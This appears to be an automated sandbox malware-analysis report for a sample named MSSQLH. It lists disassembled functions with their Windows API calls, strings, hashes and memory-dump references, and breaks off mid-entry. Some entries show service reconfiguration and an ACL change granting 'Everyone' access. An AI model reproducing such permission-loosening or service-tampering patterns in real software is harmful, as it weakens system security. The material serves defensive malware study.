Instruction ID: 00ce87f3be8969bd0ff5793410b8bc191dd3155e61b7e3916e0e60db4a48e01b
Opcode Fuzzy Hash: cb265e03f40c1ef95291dc2c5f7a30b1a796b99486b86e255c4ae49d247aaa7a
Instruction Fuzzy Hash: 89214C701083419AC2209F18C9889AFFBF8EFC5740F11491EF591C3260D3B9A896CB5B

Function 00415B89 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00415BC7
GetSystemMetrics.USER32(00000000), ref: 00415BDF
GetSystemMetrics.USER32(00000001), ref: 00415BE6
lstrcpyA.KERNEL32(?,DISPLAY), ref: 00415C0A

Strings

DISPLAY, xrefs: 00415C04
B, xrefs: 00415BA8

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: e7539c4172317293b8e0aef0133510c7624c5381bf818ec0d515b1deb039683a
Instruction ID: 3b511ef877d4dbfae430d6e2ab5282777fc93898f3b50a263970ef9f57bc19de
Opcode Fuzzy Hash: e7539c4172317293b8e0aef0133510c7624c5381bf818ec0d515b1deb039683a
Instruction Fuzzy Hash: AA11BC71610720EBCF11AF249CC4ADBBBA8EF49B51B004062ED049E141E3B59981CBE9

Function 00422C7F Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 00422C8B
GetSysColor.USER32(00000010), ref: 00422C92
GetSysColor.USER32(00000014), ref: 00422C99
GetSysColor.USER32(00000012), ref: 00422CA0
GetSysColor.USER32(00000006), ref: 00422CA7
GetSysColorBrush.USER32(0000000F), ref: 00422CB4
GetSysColorBrush.USER32(00000006), ref: 00422CBB

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 4215cb5159431f33a5eb716bcb5beb954c9079d7fb0279e6f45e054d9b9494c1
Instruction ID: 4b7065c5c62103ca8415f39baf8bc44f73b5ae31304ed78d94556c43a9cbbb9f
Opcode Fuzzy Hash: 4215cb5159431f33a5eb716bcb5beb954c9079d7fb0279e6f45e054d9b9494c1
Instruction Fuzzy Hash: 0DF01C71A407889BD730BFB29D09B47BAE1FFC4B10F02092ED2858BA90E6B5B401DF44

Function 0041CE7C Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00427920,00000001,?,74DEE860,00483B84,?,?,004172C7,?,?,?,00000000,00000001), ref: 0041CEBB
GetStringTypeA.KERNEL32(00000000,00000001,0042791C,00000001,?,?,004172C7,?,?,?,00000000,00000001), ref: 0041CED5
GetStringTypeA.KERNEL32(?,?,?,?,004172C7,74DEE860,00483B84,?,?,004172C7,?,?,?,00000000,00000001), ref: 0041CF09
MultiByteToWideChar.KERNEL32(?,00483B85,?,?,00000000,00000000,74DEE860,00483B84,?,?,004172C7,?,?,?,00000000,00000001), ref: 0041CF41
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004172C7,?), ref: 0041CF97
GetStringTypeW.KERNEL32(?,?,00000000,004172C7,?,?,?,?,?,?,004172C7,?), ref: 0041CFA9

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: c86344de87a92140a7985f2170b93fbbe8fba8d271434b582231d6cc4d121398
Instruction ID: b546022e0c0760451005fd9aebad713fecbeb35da9f9527f29fcb0caffb12266
Opcode Fuzzy Hash: c86344de87a92140a7985f2170b93fbbe8fba8d271434b582231d6cc4d121398
Instruction Fuzzy Hash: 46415F71640219AFCF219F94DC86EEF7F79FB08750F50452AF911D2290D33999A2CBA8

Function 0040B0D0 Relevance: 9.1, APIs: 6, Instructions: 110servicestringCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,20000000), ref: 0040B109
OpenServiceA.ADVAPI32(00000000,00000000,00000002), ref: 0040B14C
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 0040B191
ChangeServiceConfig2A.ADVAPI32(00000000,00000001,00000000), ref: 0040B1C9
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B1F8
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B224

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfig2Managerlstrcpyn
String ID:
API String ID: 409095021-0
Opcode ID: 060c494e015c6133bef1eca044a6b89dd38be6d16b7ab5abe222ce69b3a7b568
Instruction ID: 8a7b566968c68bf0e33ed8485d9d5f7891bc17af3846036eb4d880e6d68e2624
Opcode Fuzzy Hash: 060c494e015c6133bef1eca044a6b89dd38be6d16b7ab5abe222ce69b3a7b568
Instruction Fuzzy Hash: 7F41F870E41309EBDB10DFA0DD4ABAEBA70EB19701F10046AF5147E290E3B65A549B9A

Function 00406FA4 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 347COMMON

Download Yara Rule

APIs

GetNamedSecurityInfoA.ADVAPI32(00000000,00000000,00000004,00000000,00000000,00000000,00000000,00000000), ref: 00407093
BuildExplicitAccessWithNameA.ADVAPI32(00000000,00000003,?,?,00401B68), ref: 00407157
SetEntriesInAclA.ADVAPI32(00000001,00000000,00000000), ref: 0040726B
SetNamedSecurityInfoA.ADVAPI32(00000000,00000000,00000004,00000000,00000000,00000000,00000000), ref: 00407335

Strings

Everyone, xrefs: 0040702A, 0040702F

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: InfoNamedSecurity$AccessBuildEntriesExplicitNameWith
String ID: Everyone
API String ID: 3268678561-3285609282
Opcode ID: 15d7b131a0de999c03556d20c624637b5a6b0428a82130b8a5c4143b33f9e63c
Instruction ID: ec361839cd1e02699b79769f557b641e6b421068eb36e618ec77461bb91dc317
Opcode Fuzzy Hash: 15d7b131a0de999c03556d20c624637b5a6b0428a82130b8a5c4143b33f9e63c
Instruction Fuzzy Hash: B6C12CB1A802469BFB00DF98DCC1B9A77F4EF19324F280475E905AB380D379B951DB66

Function 004244C7 Relevance: 9.1, APIs: 6, Instructions: 85memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,0048186C,00000000,?,?,?,0042472F,0048186C,00000000,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142), ref: 004244D2
EnterCriticalSection.KERNEL32(?,00000010,?,?,?,0042472F,0048186C,00000000,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142), ref: 00424521
LeaveCriticalSection.KERNEL32(?,00000000,?,?,?,0042472F,0048186C,00000000,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142), ref: 00424534
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,0042472F,0048186C,00000000,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142), ref: 0042454A
LocalReAlloc.KERNEL32(?,00000000,00000002,?,?,?,0042472F,0048186C,00000000,?,00000000,00424B02,004240C0,00424B1E,0041F628,00423142), ref: 0042455C
TlsSetValue.KERNEL32(?,00000000), ref: 00424598

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: 42b218db48b4a5bac4334cb3d275be25000422aad03d6b1895d032b8eccb597b
Instruction ID: 3e4d40f38578f486364cfca7e69e7a494b013b5223721c6d653173d98027729a
Opcode Fuzzy Hash: 42b218db48b4a5bac4334cb3d275be25000422aad03d6b1895d032b8eccb597b
Instruction Fuzzy Hash: 8131BC31200214EFD724DF15D889E66B7A8FB84394F80852AF55687650E774E849CB68

Function 0042173F Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00421744
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00421791
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004217B3
GetCapture.USER32 ref: 004217C5
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 004217D4
WinHelpA.USER32(?,?,?,?), ref: 004217E8

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: 00d37deb7b5cd77df5c0072a65dc08060a0c40f92f0379911749edc2208f6a74
Instruction ID: d34e3840d9a05fbe3107e45fa4f5a0ea9ad1f261887e10e8ec21ce1e9669cb0c
Opcode Fuzzy Hash: 00d37deb7b5cd77df5c0072a65dc08060a0c40f92f0379911749edc2208f6a74
Instruction Fuzzy Hash: E321EF30700218BFEB206F65DC89FAA7AA9EB44744F51412AB201971E2CBB98C009B64

Function 00423B97 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00423BCA
GetLastActivePopup.USER32(?), ref: 00423BD9
IsWindowEnabled.USER32(?), ref: 00423BEE
EnableWindow.USER32(?,00000000), ref: 00423C01
GetWindowLongA.USER32(?,000000F0), ref: 00423C13
GetParent.USER32(?), ref: 00423C21

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 30f8053641c2c777ab35fa06289943b02686154634426be9cdf274edaa67f546
Instruction ID: eaf72d218d2311c3aa427ca9e44cafac6d2da46d8605d778a6be9962f17ccfe8
Opcode Fuzzy Hash: 30f8053641c2c777ab35fa06289943b02686154634426be9cdf274edaa67f546
Instruction Fuzzy Hash: 591154337013315796319E6A6C84B2BBAB85F54B53FD90566EC00E7315DF2DDE0242AD

Function 0042320A Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00423219
GetWindow.USER32(?,00000005), ref: 0042322A
GetDlgCtrlID.USER32(00000000), ref: 00423233
GetWindowLongA.USER32(00000000,000000F0), ref: 00423242
GetWindowRect.USER32(00000000,?), ref: 00423254
PtInRect.USER32(?,?,?), ref: 00423264

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 0fcdcfe8895500819efec394ee103646675c41ba730d0e9dd02db90ff7cefbed
Instruction ID: e40e776f49223ea3dff385bbe90139bc5f538afd28889e0fb5a4f086eb594b76
Opcode Fuzzy Hash: 0fcdcfe8895500819efec394ee103646675c41ba730d0e9dd02db90ff7cefbed
Instruction Fuzzy Hash: B9012C31201129EBDB219F68AC08EAF7778EF45711F814062FD1591560E738DA129BAC

Function 0040379C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000,00000000), ref: 00403839
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,-00000002,0000005C,00000000,00000000,?,00000000), ref: 004038D2
LocalFree.KERNEL32(00000000,00000000,?,00000000), ref: 0040396D

Strings

\, xrefs: 00403900

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Local$AllocCreateDirectoryFree
String ID: \
API String ID: 1918405509-2967466578
Opcode ID: 27b378210f116f27ef94bd156244378ac797936dcfe4ef05e971c5f59df8d124
Instruction ID: 8abc6394c767441ce50d7e970f7ca48822792ed79764ceff690568fa70866bd3
Opcode Fuzzy Hash: 27b378210f116f27ef94bd156244378ac797936dcfe4ef05e971c5f59df8d124
Instruction Fuzzy Hash: FD514CB0D00208EBEF10AFA1D84ABEEBF74FF49315F10806AE150762C5D7791660CB9A

Function 00418A9B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00418ABA
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00418AEF
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00418B4F

Strings

__MSVCRT_HEAP_SELECT, xrefs: 00418AEA
__GLOBAL_HEAP_SELECTED, xrefs: 00418B29

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: f16eb5a3fe339a2e43b1611aaccb13356f4fdb7a315c2a7bbd80ccf26ce44e15
Instruction ID: ef17f7abec89100083fed4b3ae57a4b2ee404a13c078b18057ee26dd8e9731be
Opcode Fuzzy Hash: f16eb5a3fe339a2e43b1611aaccb13356f4fdb7a315c2a7bbd80ccf26ce44e15
Instruction Fuzzy Hash: EB312AB190D2586EEB3196705C91BEF37689B06344F6400EFF145D5242EA3DAEC6CB29

Function 004039BF Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004039EE
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00403A22
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 00403AA6

Strings

GetSystemWow64DirectoryA, xrefs: 00403A18
kernel32.dll, xrefs: 004039E7

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProclstrcpyn
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 2801827026-4063490227
Opcode ID: 5e638b8cb6f4affb8397209e79f4fd799c3b4ff47c12f67eee51d02d6d71dd08
Instruction ID: 43d694fb7d8b7dcfda0967b68c6a957d928e5c8d4e50b2a1214c8028fc46741a
Opcode Fuzzy Hash: 5e638b8cb6f4affb8397209e79f4fd799c3b4ff47c12f67eee51d02d6d71dd08
Instruction Fuzzy Hash: E4316570E40309BBEB10DF90CC46BAEBBB4AF05709F104069F514762D1D7BA57548F99

Function 00421228 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 004212E1
GetWindowLongA.USER32(?,000000FC), ref: 004212F2
GetWindowLongA.USER32(?,000000FC), ref: 00421302
SetWindowLongA.USER32(?,000000FC,?), ref: 0042131E

Strings

(, xrefs: 004212CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: 4babac1b50bb3e0240108c1265fa35d9841ee32b5623acc5d74494fe8533d7f2
Instruction ID: b9b910bb4897ad9f55d63253e7ab2cd79a9991370755de454836a2556f24bd05
Opcode Fuzzy Hash: 4babac1b50bb3e0240108c1265fa35d9841ee32b5623acc5d74494fe8533d7f2
Instruction Fuzzy Hash: F631C0317003209FDB20AFA5E884A5AB7F5BF54314F91016EF541E76A1CB78E805CBA8

Function 00425351 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00425382

Part of subcall function 0042546E: lstrlenA.KERNEL32(00000104,00000000,?,004253B2), ref: 004254A5

lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 00425423
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 00425450

Strings

.INI, xrefs: 0042544A
.HLP, xrefs: 0042541D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: 0ee1060c0b2a2506e791ab8b5efec2e77249ccb7d1c3d745d5c769d745e3d346
Instruction ID: 044c0e857fe37545c68d8b495b5794562879e79448c40735a8fb4e3476c46821
Opcode Fuzzy Hash: 0ee1060c0b2a2506e791ab8b5efec2e77249ccb7d1c3d745d5c769d745e3d346
Instruction Fuzzy Hash: EB317271A047289FDB21EBB1D885BC6B7FCAF04304F50496BE199D3151EBB8A9C48F14

Function 00405190 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,?,?,?,?,?,?,?,?,?,?,?,?,0040497C,00000000), ref: 004051A3
GetProcAddress.KERNEL32(|I@,RegEnableReflectionKey), ref: 004051D7

Strings

RegEnableReflectionKey, xrefs: 004051CD
|I@, xrefs: 004051D2
advapi32.dll, xrefs: 0040519C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RegEnableReflectionKey$advapi32.dll$|I@
API String ID: 1646373207-2854276010
Opcode ID: 1cccde25ec39a3cd2d49dada64b8392eeb1846965b561e33f98d36a1c8d4a341
Instruction ID: f2d9cf62e49d2b1a4f21a49a598ff30a89bd1471e118c1ef850a710c56074f00
Opcode Fuzzy Hash: 1cccde25ec39a3cd2d49dada64b8392eeb1846965b561e33f98d36a1c8d4a341
Instruction Fuzzy Hash: 6D2198B4E85309BBEF219F90DC06BAEBEB1EB09714F204059F5143A2D0D3BA26549F5D

Function 00411BD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00411BD9
HeapReAlloc.KERNEL32(005B0000,00000000,?,?), ref: 00411BF6
HeapAlloc.KERNEL32(005B0000,00000008,?), ref: 00411C06
MessageBoxA.USER32(00000000,00468978,error,00000010), ref: 00411C1F

Strings

error, xrefs: 00411C14

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
